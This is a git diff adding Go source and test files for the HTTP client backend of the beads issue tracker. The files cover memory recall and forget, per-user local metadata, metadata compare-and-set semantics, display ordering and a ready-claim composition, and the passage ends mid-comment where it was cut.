(internal/enterprise/httpstore/memories.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// httpMemories serves memoryops.Memories from the four memory operations +// (design D8 row 15). +// +// The role is one plane and one interface, so the accessor cannot be flipped by +// halves: the two writes this bead owns arrive with the two reads that share +// their vocabulary, and all four go through the same key rules. +// +// THE MISS IS A RESULT, NOT AN ERROR. memoryops deliberately declares no +// ErrNotFound: a recall or a forget that found nothing answers Found false with +// a nil error. The wire spells the same miss as a 404, which the problem mapper +// turns into issueops.ErrNotFound — so the one piece of real translation in this +// file is turning that back into the role's own answer. Getting it wrong would +// make `bd recall` of an unknown key an error where every other backend prints +// "not found". +type httpMemories struct { + store *Store + wire WriteWire +} + +var _ memoryops.Memories = (*httpMemories)(nil) + +// Remember stores one memory. An ABSENT key asks the server to derive one from +// the content, which is why the wire member is a pointer: an empty string is not +// the same request as an omitted member, and the derived key comes back in the +// result so the caller learns where the memory landed. +func (m *httpMemories) Remember(ctx context.Context, req memoryops.RememberRequest) (memoryops.RememberResult, error) { + if strings.TrimSpace(req.Content) == "" { + return memoryops.RememberResult{}, invalid("content is required") + } + + body := apigen.RememberRequest{Content: req.Content} + if req.Key != "" { + key := req.Key + body.Key = &key + } + res, err := m.wire.RememberMemory(ctx, body) + if err != nil { + return memoryops.RememberResult{}, err + } + return memoryops.RememberResult{Key: res.Key, Value: res.Value, Replaced: res.Replaced}, nil +} + +// Recall reads one memory. +func (m *httpMemories) Recall(ctx context.Context, req memoryops.RecallRequest) (memoryops.RecallResult, error) { + if err := requireMemoryKey(req.Key); err != nil { + return memoryops.RecallResult{}, err + } + res, err := m.wire.RecallMemory(ctx, req.Key) + if errors.Is(err, issueops.ErrNotFound) { + return memoryops.RecallResult{Key: req.Key}, nil + } + if err != nil { + return memoryops.RecallResult{}, err + } + // Found is Value != "": the role conflates a stored empty string with an + // absent memory, and so does the wire, which 404s the same row. + return memoryops.RecallResult{Key: req.Key, Value: res.Value, Found: res.Value != ""}, nil +} + +// Forget removes one memory and reports the value it removed. +func (m *httpMemories) Forget(ctx context.Context, req memoryops.ForgetRequest) (memoryops.ForgetResult, error) { + if err := requireMemoryKey(req.Key); err != nil { + return memoryops.ForgetResult{}, err + } + res, err := m.wire.ForgetMemory(ctx, req.Key) + if errors.Is(err, issueops.ErrNotFound) { + // Nothing was stored under the key, and nothing was deleted. A result, + // not an error: forgetting what was never remembered is the state the + // caller asked for. + return memoryops.ForgetResult{Key: req.Key}, nil + } + if err != nil { + return memoryops.ForgetResult{}, err + } + return memoryops.ForgetResult{Key: req.Key, Value: res.Value, Found: true}, nil +} + +// List enumerates the memory plane, narrowed by Search. +// +// The folding is the ROLE's, so it happens server-side: the raw term goes on the +// wire as `search` and the server's own role lowercases both sides. Folding it +// here as well would be a second implementation of a rule that has one. +func (m *httpMemories) List(ctx context.Context, req memoryops.ListRequest) (memoryops.ListResult, error) { + page, err := m.wire.ListMemories(ctx, req.Search) + if err != nil { + return memoryops.ListResult{}, err + } + // Empty map, never nil: a caller ranges over it without a nil check, and + // "the plane is empty" is not something to spell as an absent answer. + out := make(map[string]string, len(page.Items)) + for _, memory := range page.Items { + out[memory.Key] = memory.Value + } + return memoryops.ListResult{Memories: out}, nil +} + +// requireMemoryKey applies the role's trim rule before a key becomes a path. +// +// The server refuses a blank key on these two operations as well, but as a 400 +// alongside the 404 that means "no such memory" — and a caller cannot act on the +// difference if the client never made it. Refusing here keeps the role's +// ErrValidation promise and keeps a request that cannot succeed off the wire. +func requireMemoryKey(key string) error { + if strings.TrimSpace(key) == "" { + return invalid("memory key is required") + } + return nil +} diff --git a/internal/httpclient/metadata.go b/internal/httpclient/metadata.go new file mode 100644 index 000000000..a58c5619c --- /dev/null +++ b/internal/httpclient/metadata.go @@ -0,0 +1,140 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/metadata.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// LocalMetadataFileName holds the per-user local metadata this backend answers +// from disk instead of from the server (design D3/D4). +const LocalMetadataFileName = "http_local_metadata.json" + +// localMetadata is the per-user state file beside the activation sidecar. It is +// small, rewritten whole, and 0600 like the sidecar. +type localMetadata struct { + path string + mu sync.Mutex +} + +func newLocalMetadata(beadsDir string) *localMetadata { + if beadsDir == "" { + return nil + } + return &localMetadata{path: filepath.Join(beadsDir, LocalMetadataFileName)} +} + +func (l *localMetadata) load() (map[string]string, error) { + data, err := os.ReadFile(l.path) // #nosec G304 - controlled path + if os.IsNotExist(err) { + return map[string]string{}, nil + } + if err != nil { + return nil, fmt.Errorf("reading %s: %w", LocalMetadataFileName, err) + } + m := map[string]string{} + if err := json.Unmarshal(data, &m); err != nil { + return nil, fmt.Errorf("parsing %s: %w", LocalMetadataFileName, err) + } + return m, nil +} + +func (l *localMetadata) get(key string) (string, error) { + l.mu.Lock() + defer l.mu.Unlock() + m, err := l.load() + if err != nil { + return "", err + } + return m[key], nil +} + +func (l *localMetadata) set(key, value string) error { + l.mu.Lock() + defer l.mu.Unlock() + m, err := l.load() + if err != nil { + return err + } + m[key] = value + data, err := json.MarshalIndent(m, "", " ") + if err != nil { + return fmt.Errorf("marshaling %s: %w", LocalMetadataFileName, err) + } + if err := os.WriteFile(l.path, data, 0o600); err != nil { + return fmt.Errorf("writing %s: %w", LocalMetadataFileName, err) + } + return nil +} + +// GetLocalMetadata is served from the per-user state file, not from the server +// (design D4, "Tips GetLocalMetadata/SetLocalMetadata"): tips-shown timestamps +// are per-user UI state and storing them server-side would be the wrong scope. +// A missing key is ("", nil), matching every other backend. +func (s *Store) GetLocalMetadata(_ context.Context, key string) (string, error) { + if s.local == nil { + return "", nil + } + return s.local.get(key) +} + +// SetLocalMetadata writes the same per-user file. It must not error on a store +// with nowhere to write — cmd/bd defers a tip write to PersistentPostRunE and +// treats any error there as fatal (design D3), and an ephemeral `--server-url` +// workspace has no durable .beads to hold the file. Tips are suppressed for +// those invocations, so dropping the write loses nothing a user asked for. +func (s *Store) SetLocalMetadata(_ context.Context, key, value string) error { + if s.local == nil { + return nil + } + return s.local.set(key, value) +} + +// GetMetadata answers the workspace-identity probe from the cached handshake +// (design D4, "validateWorkspaceIdentity"). Serving `_project_id` is what makes +// wrong-server protection actually enforce: cmd/bd swallows a store error here +// into "skip validation", so a refusal would silently disarm the check. +// +// Before the handshake there is nothing to compare, and ("", nil) is the +// documented "new or pre-identity database" answer that skips validation +// without claiming a mismatch. Every other key refuses: no wire operation +// exposes the metadata table, and answering "" for an unknown key would be a +// dropped read dressed as an empty one. +// +// A wrong-server handshake is the one error that must NOT collapse to that +// benign skip (ga-b8ddd.11, Option C): the mismatch carries the id the server +// actually owns, so handing that Got value back is what lets cmd/bd's +// validateWorkspaceIdentity compare it against metadata.json and FIRE the +// identity check — the write is refused, exit 1. What this path does NOT surface +// is the wire ProjectMismatchError's own text: only the Got id survives this +// method, so the server URL, database, repo root and recovery clause it carries +// are discarded here. cmd/bd renders the http-appropriate recovery separately, +// off the RemoteWorkspaceBackend capability (ga-b8ddd.16), rather than from +// this returned string. Any other handshake failure has no identity to offer, +// so it stays the ("", nil) "nothing to compare" skip the caller already treats +// as benign. +func (s *Store) GetMetadata(ctx context.Context, key string) (string, error) { + if key != "_project_id" { + return "", s.unsupported("GetMetadata") + } + snap, err := s.snapshot(ctx) + if err != nil { + var mismatch *wire.ProjectMismatchError + if errors.As(err, &mismatch) { + return mismatch.Got, nil + } + return "", nil + } + if snap == nil { + return "", nil + } + return snap.ProjectId, nil +} diff --git a/internal/httpclient/metadatacas.go b/internal/httpclient/metadatacas.go new file mode 100644 index 000000000..490f8c1ff --- /dev/null +++ b/internal/httpclient/metadatacas.go @@ -0,0 +1,127 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/metadatacas.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// httpMetadataCAS serves issueops.MetadataCAS from the compareAndSetMetadata +// custom method — the conditional single-key write every coordination protocol +// over the metadata plane is built from. +// +// The MAPPING IS TOTAL: all five members of the role's request have a wire +// member or a path, and both members of its result are published, so nothing +// here refuses on shape and the ledger carries no W- row for this operation. +// What made the port a decision rather than a transcription is the two places +// this operation's shape is unlike every other write on this seam. +// +// A LOST RACE IS A 200. Every other write learns a refusal from a status code; +// here `swapped: false` with the value that refused the swap is the ANSWER, and +// the role says the same thing in the same words — "a mismatch is an answer, +// not a failure". So the verdict travels through the success path and nothing +// in the problem mapper knows about it. There is no 409 to classify, and a +// client that dispatched on the status code would report a lost race as a won +// one. +// +// ABSENCE IS A VALUE, on all three of `expected`, `value` and `current`. An +// omitted member means the key is ABSENT on that side of the transition — which +// is what makes a first-writer-wins acquire (nil → value) and a release +// (value → nil) expressible — while a member present holding `null` means the +// key exists and holds null. The two states are different requests and +// different answers, so nothing on this path may collapse one into the other: +// the request members are pointers on the role's side and `omitempty` raw +// messages on the wire's, and the response's `current` is a BARE +// json.RawMessage rather than a pointer precisely so a present null survives +// the decode (see the server's metadataCASWireValue). +// +// WHAT IS NOT DECIDED HERE, deliberately: the metadata-key syntax, the +// canonical equality rule, and which transitions write. All three are the +// ROLE's, the server routes this request through the same issueops.MetadataCAS +// a local workspace uses, and a second copy of any of them in this client would +// be a second definition. They come back as issueops.ErrValidation, which is +// what the role's contract promises. +type httpMetadataCAS struct { + store *Store + wire WriteWire +} + +var _ issueops.MetadataCAS = (*httpMetadataCAS)(nil) + +// CompareAndSetKey dials POST /v0/beads/issues/{id}:casMetadata. +func (c *httpMetadataCAS) CompareAndSetKey(ctx context.Context, req issueops.CompareAndSetKeyRequest) (issueops.CompareAndSetKeyResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + // The KEY's emptiness is checked here and its SYNTAX is not, and the split + // is the same one requireID makes: an empty key would be sent as a body + // member the server refuses by name, which is a round trip to be told what + // the role's own contract already calls invalid, while the syntax is the + // workspace's rule and belongs to the role that owns the metadata plane. + if strings.TrimSpace(req.Key) == "" { + return issueops.CompareAndSetKeyResult{}, invalid("metadata key is required") + } + + expected, err := casValue("Expected", req.Expected) + if err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + value, err := casValue("Value", req.Value) + if err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + + res, err := c.wire.CompareAndSetMetadata(ctx, req.IssueID, apigen.CompareAndSetMetadataRequest{ + Actor: req.Actor, Key: req.Key, Expected: expected, Value: value, + }) + if err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + return issueops.CompareAndSetKeyResult{Swapped: res.Swapped, Current: casCurrent(res.Current)}, nil +} + +// casValue projects one side of the transition onto its wire member. +// +// NIL STAYS ABSENT, which is the whole of the mapping and the reason it is a +// function: the role spells "the key is absent on this side" as a nil pointer +// and the wire spells it as an omitted member, and `omitempty` omits exactly +// the empty raw message. A present value is COPIED rather than aliased — the +// role promises implementations never write through a caller's request, and +// handing these bytes to a marshaler is the kind of borrow that becomes a write +// when a helper is added. +// +// An EMPTY value is refused rather than sent. It is not a JSON value at all, so +// `omitempty` would silently turn it into the absent member — which is the +// opposite request — and the role calls it ErrValidation too. +func casValue(member string, value *json.RawMessage) (apigen.MetadataValue, error) { + if value == nil { + return nil, nil + } + if err := requireJSON(member, *value); err != nil { + return nil, err + } + return apigen.MetadataValue(append([]byte(nil), (*value)...)), nil +} + +// casCurrent projects the answer's current value back onto the role's optional +// one. nil stays nil, so an absent member is an ABSENT key rather than a null +// one — the same distinction the request side makes, answered the same way. +// +// The bytes are COPIED for the reason a caller needs them to be: Current is fed +// back as the next Expected, and a window onto a decoded response body is not +// something a retry loop should be holding between requests. +func casCurrent(current apigen.MetadataValue) *json.RawMessage { + if current == nil { + return nil + } + value := json.RawMessage(append([]byte(nil), current...)) + return &value +} diff --git a/internal/httpclient/metadatacas_test.go b/internal/httpclient/metadatacas_test.go new file mode 100644 index 000000000..cef74d30d --- /dev/null +++ b/internal/httpclient/metadatacas_test.go @@ -0,0 +1,283 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/metadatacas_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The compare-and-set role's own gates. +// +// Two things about this operation are unlike every other write on this seam, +// and both are asserted here rather than left to the served tier: a LOST RACE +// IS A 200, so the verdict is read out of the body of a success; and ABSENCE IS +// A VALUE on three members — `expected`, `value` and `current` — where an +// omitted member means "the key is absent on that side" and a member present +// holding `null` means the key exists and holds null. + +func casRole(t *testing.T, w *stubWire) issueops.MetadataCAS { + t.Helper() + cas, err := stubStore(t, w).MetadataCAS() + if err != nil { + t.Fatalf("MetadataCAS(): %v", err) + } + return cas +} + +func raw(s string) *json.RawMessage { + value := json.RawMessage(s) + return &value +} + +// TestMetadataCASSendsTheTransitionAsAPair is the request half: Expected is the +// value before and Value the value after, and nil on either side means the key +// is ABSENT there — so a first-writer-wins acquire omits `expected` and a +// release omits `value`. +// +// A serializer that dropped an empty member would turn a conditional write into +// a delete, which is the trap the operation's own description opens with. +func TestMetadataCASSendsTheTransitionAsAPair(t *testing.T) { + tests := []struct { + name string + request issueops.CompareAndSetKeyRequest + wantExpected, wantValue string + }{ + { + name: "a first-writer-wins acquire omits expected", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Value: raw(`"win44"`), + }, + wantExpected: "", wantValue: `"win44"`, + }, + { + name: "a release omits value", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: raw(`"win44"`), + }, + wantExpected: `"win44"`, wantValue: "", + }, + { + name: "a hand-off carries both", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", + Expected: raw(`"win30"`), Value: raw(`"win44"`), + }, + wantExpected: `"win30"`, wantValue: `"win44"`, + }, + { + name: "a stored null is a PRESENT value on both sides", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", + Expected: raw(`null`), Value: raw(`null`), + }, + wantExpected: `null`, wantValue: `null`, + }, + { + // A NUMBER TRAVELS AS THE CALLER'S OWN LITERAL, and on THIS + // operation the stakes are a changed verdict rather than a changed + // value: equality here is canonical but numbers compare as their + // source literal, so `1` and `1.0` do NOT match. A client that + // decoded either side through `any` and re-encoded it would send + // `1` for a caller who wrote `1.0` — and the swap would land where + // the role would have refused it, or be refused where the role + // would have landed it. + // + // The big integer is the second half of the same rule: past 2^53 a + // double cannot hold the value at all, so a re-encode hands the + // server a token NEAR the caller's that is not it. + name: "numbers travel as the caller's own literal, on both sides", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.epoch", + Expected: raw(`1.0`), Value: raw(`9007199254740993`), + }, + wantExpected: `1.0`, wantValue: `9007199254740993`, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{cas: &apigen.CompareAndSetMetadataResponse{Swapped: true}} + if _, err := casRole(t, w).CompareAndSetKey(t.Context(), test.request); err != nil { + t.Fatalf("CompareAndSetKey: %v", err) + } + if got := w.lastCAS.Actor; got != test.request.Actor { + t.Errorf("actor = %q, want %q", got, test.request.Actor) + } + if got := w.lastCAS.Key; got != test.request.Key { + t.Errorf("key = %q, want %q", got, test.request.Key) + } + // Through the marshaler: `omitempty` on a json.RawMessage omits the + // EMPTY one, and what the server reads is the member set of the + // encoded body, not the Go value. + encoded, err := json.Marshal(w.lastCAS) + if err != nil { + t.Fatalf("marshal the request: %v", err) + } + var body map[string]json.RawMessage + if err := json.Unmarshal(encoded, &body); err != nil { + t.Fatalf("re-read the request: %v", err) + } + for member, want := range map[string]string{"expected": test.wantExpected, "value": test.wantValue} { + got, present := body[member] + switch { + case want == "" && present: + t.Errorf("the request carries %q = %s; a nil side of the transition is an ABSENT member", member, got) + case want != "" && !present: + t.Errorf("the request omits %q; omitting it means the key is absent there, which is a different request", member) + case want != "" && string(got) != want: + t.Errorf("%s = %s, want %s", member, got, want) + } + } + }) + } +} + +// TestMetadataCASReadsTheVerdictOutOfASuccess is the response half, and the +// reason this role could not be wired by analogy with its neighbors: a lost +// race is a 200 carrying `swapped: false` and the value that refused the swap. +// A client that dispatched on the status code would report a lost race as a +// won one. +func TestMetadataCASReadsTheVerdictOutOfASuccess(t *testing.T) { + tests := []struct { + name string + response apigen.CompareAndSetMetadataResponse + wantSwap bool + want string + wantNil bool + }{ + { + name: "a lost race is an answer, not a failure", + response: apigen.CompareAndSetMetadataResponse{Swapped: false, Current: apigen.MetadataValue(`"win30"`)}, + wantSwap: false, want: `"win30"`, + }, + { + name: "a landed swap reports the value the row now holds", + response: apigen.CompareAndSetMetadataResponse{Swapped: true, Current: apigen.MetadataValue(`"win44"`)}, + wantSwap: true, want: `"win44"`, + }, + { + name: "an absent current is an ABSENT key", + response: apigen.CompareAndSetMetadataResponse{Swapped: true}, + wantSwap: true, wantNil: true, + }, + { + name: "a present null is a value the key HOLDS", + response: apigen.CompareAndSetMetadataResponse{Swapped: false, Current: apigen.MetadataValue(`null`)}, + wantSwap: false, want: `null`, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + response := test.response + w := &stubWire{cas: &response} + result, err := casRole(t, w).CompareAndSetKey(t.Context(), issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Value: raw(`"win44"`), + }) + if err != nil { + t.Fatalf("CompareAndSetKey: %v", err) + } + if result.Swapped != test.wantSwap { + t.Errorf("Swapped = %t, want %t", result.Swapped, test.wantSwap) + } + switch { + case test.wantNil && result.Current != nil: + t.Fatalf("Current = %s, want nil: an omitted member is an ABSENT key", *result.Current) + case !test.wantNil && result.Current == nil: + t.Fatalf("Current = nil, want %s: a client that cannot tell a present null from an absent key cannot converge on a null-valued key", test.want) + case !test.wantNil && string(*result.Current) != test.want: + t.Errorf("Current = %s, want %s", *result.Current, test.want) + } + }) + } +} + +// TestMetadataCASRefusesAnUnusableRequestBeforeDialing covers the two refusals +// this layer owns rather than leaving to the server. +// +// Actor and issue id are the shared write rules — an empty id would join to the +// COLLECTION path and turn an operation on one resource into one on all of them +// — and a malformed JSON value cannot go on a JSON wire at all, so it would +// fail inside json.Marshal as a transport fault where the role's contract +// promises a deterministic validation failure. +// +// The KEY's syntax is deliberately NOT decided here: it is the workspace's own +// metadata-key rule, the server's role applies it inside the refusing +// transaction, and a second copy of it in this client would be a second +// definition of which keys a workspace may hold. +func TestMetadataCASRefusesAnUnusableRequestBeforeDialing(t *testing.T) { + for name, request := range map[string]issueops.CompareAndSetKeyRequest{ + "empty actor": {IssueID: "bd-1", Key: "gc.lease"}, + "blank actor": {Actor: " ", IssueID: "bd-1", Key: "gc.lease"}, + "empty issue id": {Actor: "win44", Key: "gc.lease"}, + "malformed expected": { + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: raw(`{`), + }, + "malformed value": { + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Value: raw(`nope`), + }, + "an empty expected is not the empty string": { + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: raw(``), + }, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{cas: &apigen.CompareAndSetMetadataResponse{Swapped: true}} + result, err := casRole(t, w).CompareAndSetKey(t.Context(), request) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("CompareAndSetKey(%s) = %v, want ErrValidation", name, err) + } + if result.Swapped { + t.Error("a refused request reported Swapped") + } + if len(w.calls) != 0 { + t.Errorf("the refused request dialed %v", w.calls) + } + }) + } +} + +// TestMetadataCASDoesNotWriteThroughTheCallerRequest holds the promise every +// role here makes and this one states twice: "Implementations never mutate +// caller-owned request values: the two raw messages are read, never written +// through." +// +// The request travels as bytes into a marshaler, which is exactly the kind of +// borrow that becomes a write when a helper is added later. +func TestMetadataCASDoesNotWriteThroughTheCallerRequest(t *testing.T) { + expected, value := raw(`"win30"`), raw(`"win44"`) + request := issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: expected, Value: value, + } + before := reflect.DeepEqual(request, request) + if !before { + t.Fatal("the request is not comparable to itself") + } + + w := &stubWire{cas: &apigen.CompareAndSetMetadataResponse{Swapped: true, Current: apigen.MetadataValue(`"win44"`)}} + result, err := casRole(t, w).CompareAndSetKey(t.Context(), request) + if err != nil { + t.Fatalf("CompareAndSetKey: %v", err) + } + + if string(*expected) != `"win30"` || string(*value) != `"win44"` { + t.Errorf("the caller's values were written through: expected = %s, value = %s", *expected, *value) + } + if request.Expected != expected || request.Value != value { + t.Error("the request's own pointers were replaced") + } + // And the answer is detached from the transport's buffer for the same + // reason: a caller feeding Current back as the next Expected must not hold + // a window onto a response body the client may reuse. + if result.Current == nil { + t.Fatal("Current is nil") + } + if &(*result.Current)[0] == &w.cas.Current[0] { + t.Error("Current aliases the response body rather than copying it") + } +} diff --git a/internal/httpclient/offrole.go b/internal/httpclient/offrole.go new file mode 100644 index 000000000..30dc3f260 --- /dev/null +++ b/internal/httpclient/offrole.go @@ -0,0 +1,37 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/offrole.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +// The off-role raw methods design D8 keeps off the unsupported allowlist. They +// are not role accessors — cmd/bd still calls them directly at tip — but each +// has a v0 operation behind it, so refusing them would refuse a command the +// wire can serve. Like the role accessors, they are hand-written and move OUT of +// this file to sit beside the surface they serve the moment their bead wires +// them (precedent resolve.go/bridge.go/vocabulary.go). +// +// This file is now a TOMBSTONE: it holds no methods. It stays because the +// retirement path is worth writing down where it happened. (There is no skip +// list to keep in step: unsupportedgen derives the shell from the methods +// declared on *Store, so a read that moved out of here needed only a +// regeneration.) +// +// The reads this file used to hold are SERVED, each beside the surface it +// belongs to: the four getIssue riders — GetLabels, GetDependenciesWithMetadata, +// GetDependentsWithMetadata and GetIssueComments — in detail_reads.go, and the +// anchored GetDependencyRecords in roles_graph.go beside the EdgeReader role it +// shares its operation with (ga-b8ddd.30). The verbatim-row question their flip +// waited on — whether the wire surfaces unresolved depends_on_id rows the +// GH#5005 `bd dep remove` guard must see — was answered by the dual run in +// served_detail_reads_test.go: it does, so there is no L17 degradation to +// ledger. +// +// The earlier tenants left the same way: SearchIssues and GetConfig to +// resolve.go with the id-resolution probes, the ready bridge and the raw +// GetIssue probe to bridge.go, and the settings, statistics and vocabulary reads +// to vocabulary.go. +// +// Everything NOT here and not in accessors.go, store.go or metadata.go is on the +// generated shell and refuses permanently — including the batch and unanchored +// variants (GetLabelsForIssues, GetDependencyRecordsForIssues, GetDependencies, +// GetDependents, GetNextChildID) and the VersionReconciler, Bootstrapper and +// InitVerifier accessors. diff --git a/internal/httpclient/order.go b/internal/httpclient/order.go new file mode 100644 index 000000000..8dfc39c72 --- /dev/null +++ b/internal/httpclient/order.go @@ -0,0 +1,123 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/order.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "cmp" + "slices" + "strings" + + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/utils" +) + +// The client-side display order (ledger row L2). +// +// A local list is ordered TWICE and the second pass is not redundant: the query +// renders sqlbuild's ORDER BY, and the shared page epilogue then stable-sorts +// the rows it returned by the single display key. The two disagree on purpose — +// the SQL clause carries the tie-break tail (created DESC, id ASC) and the +// epilogue carries the orders SQL cannot express — so an order applied here has +// to be BOTH of them, in that sequence, or the tie order comes out different +// from a local run of the same request. +// +// sqlbuild.Less is imported rather than reimplemented. It is already the +// Go-side mirror of that ORDER BY — the storage layer merges the issue and wisp +// planes with it — so borrowing it is what makes "the client comparator and the +// SQL order cannot drift" true by construction instead of by a golden file. +// Only the epilogue's own comparator is written out below, because it lives in +// internal/workapi, which depguard denies to this package. + +// sortListRows applies the display order a ListRequest asked for to a page the +// wire returned in created order. +func sortListRows(rows []*types.IssueWithCounts, sortBy string, reverse bool) { + slices.SortStableFunc(rows, func(a, b *types.IssueWithCounts) int { + ai, bi := rowIssue(a), rowIssue(b) + switch { + case ai == nil && bi == nil: + return 0 + case ai == nil: + return 1 + case bi == nil: + return -1 + } + switch { + case sqlbuild.Less(ai, bi, sortBy, reverse): + return -1 + case sqlbuild.Less(bi, ai, sortBy, reverse): + return 1 + default: + return 0 + } + }) + if sortBy == "" { + // The epilogue leaves an unnamed order alone, so the SQL order above is + // the whole of it — which is the flagless default no one names and + // everyone sees. + return + } + slices.SortStableFunc(rows, func(a, b *types.IssueWithCounts) int { + ai, bi := rowIssue(a), rowIssue(b) + switch { + case ai == nil && bi == nil: + return 0 + case ai == nil: + return 1 + case bi == nil: + return -1 + } + r := compareIssuesBy(ai, bi, sortBy) + if reverse { + return -r + } + return r + }) +} + +func rowIssue(row *types.IssueWithCounts) *types.Issue { + if row == nil { + return nil + } + return row.Issue +} + +// compareIssuesBy orders two issues by one of `bd list --sort`'s fields. An +// unknown field compares equal, which leaves the underlying order intact. +// +// It is a copy of internal/workapi.CompareIssuesBy, kept honest by +// TestCompareIssuesByMatchesTheSharedComparator rather than by review: the +// depguard rule that keeps the work-query builders out of this package takes +// the comparator with them, and a display order that disagreed with the local +// one by a single tie would show up as a reordered page and nothing else. +func compareIssuesBy(a, b *types.Issue, sortBy string) int { + switch sortBy { + case "priority": + return cmp.Compare(a.Priority, b.Priority) + case "created": + return b.CreatedAt.Compare(a.CreatedAt) + case "updated": + return b.UpdatedAt.Compare(a.UpdatedAt) + case "closed": + switch { + case a.ClosedAt == nil && b.ClosedAt == nil: + return 0 + case a.ClosedAt == nil: + return 1 + case b.ClosedAt == nil: + return -1 + } + return b.ClosedAt.Compare(*a.ClosedAt) + case "status": + return cmp.Compare(a.Status, b.Status) + case "id": + return utils.NaturalCompareIDs(a.ID, b.ID) + case "title": + return cmp.Compare(strings.ToLower(a.Title), strings.ToLower(b.Title)) + case "type": + return cmp.Compare(a.IssueType, b.IssueType) + case "assignee": + return cmp.Compare(a.Assignee, b.Assignee) + } + return 0 +} diff --git a/internal/httpclient/race_detector_off_test.go b/internal/httpclient/race_detector_off_test.go new file mode 100644 index 000000000..b44ed1c75 --- /dev/null +++ b/internal/httpclient/race_detector_off_test.go @@ -0,0 +1,6 @@ +//go:build cgo && !race + +package httpclient + +// raceEnabled is false in non-race builds; see race_detector_on_test.go. +const raceEnabled = false diff --git a/internal/httpclient/race_detector_on_test.go b/internal/httpclient/race_detector_on_test.go new file mode 100644 index 000000000..802bed86c --- /dev/null +++ b/internal/httpclient/race_detector_on_test.go @@ -0,0 +1,13 @@ +//go:build cgo && race + +package httpclient + +// raceEnabled reports whether the test binary was built with the race +// detector (-race), as the embedded lane's httpclient_served_test is. The +// served tier stands its `bd serve` handler up over the in-process embedded +// Dolt engine, whose own goroutine/lock machinery the detector instruments +// (see internal/storage/embeddeddolt/race_detector_on_test.go), so a large +// write that takes seconds without it can outlast the client's per-request +// timeout with it. The pair carries `cgo` like that package's: its consumers +// are served_*_test.go files, which build only under cgo. +const raceEnabled = true diff --git a/internal/httpclient/readyclaimer.go b/internal/httpclient/readyclaimer.go new file mode 100644 index 000000000..5d0907372 --- /dev/null +++ b/internal/httpclient/readyclaimer.go @@ -0,0 +1,290 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/readyclaimer.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "slices" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// readyClaimPage is how many ready rows one DOWN-LEVEL attempt looks at. +// +// The local role does this in ONE transaction with an unbounded scan; a server +// too old to advertise issues.claimNext leaves the composition below no choice +// but a window, and the choice is between wasted rows and wasted round trips. +// Twenty-five is a page a contended front survives — losing all of it takes +// twenty-five simultaneous winners — while staying an order of magnitude under +// the server's own default ready limit, so a claim never drags a full listing +// across the wire. +const readyClaimPage = 25 + +// httpReadyClaimer serves issueops.ReadyClaimer, on the wire's claimNext +// operation where the server advertises it and by composing a listing and a +// claim where it does not (design D8 row 4). +// +// WHERE THE WIRE CARRIES issues.claimNext, the whole role is one call: the +// filter travels as the query string GET /v0/beads/ready's own decode reads, the +// actor travels as the body, and the server's role does the selection, the +// compare-and-set and the hydration inside ONE transaction. That is the +// operation this role was always waiting for — every clause of the contract that +// the composition could only approximate is simply true of it. +// +// WHERE IT DOES NOT — a server older than upstream #5510 — the composition +// survives unchanged, because `bd ready --claim` worked against those servers +// before this port and refusing it now would be a regression dressed as +// progress. It is the same posture BatchCloser takes toward issues.batchClose, +// and it keeps L14 describing shipped behavior rather than history: the three +// residues are the DOWN-LEVEL leg's, and none of 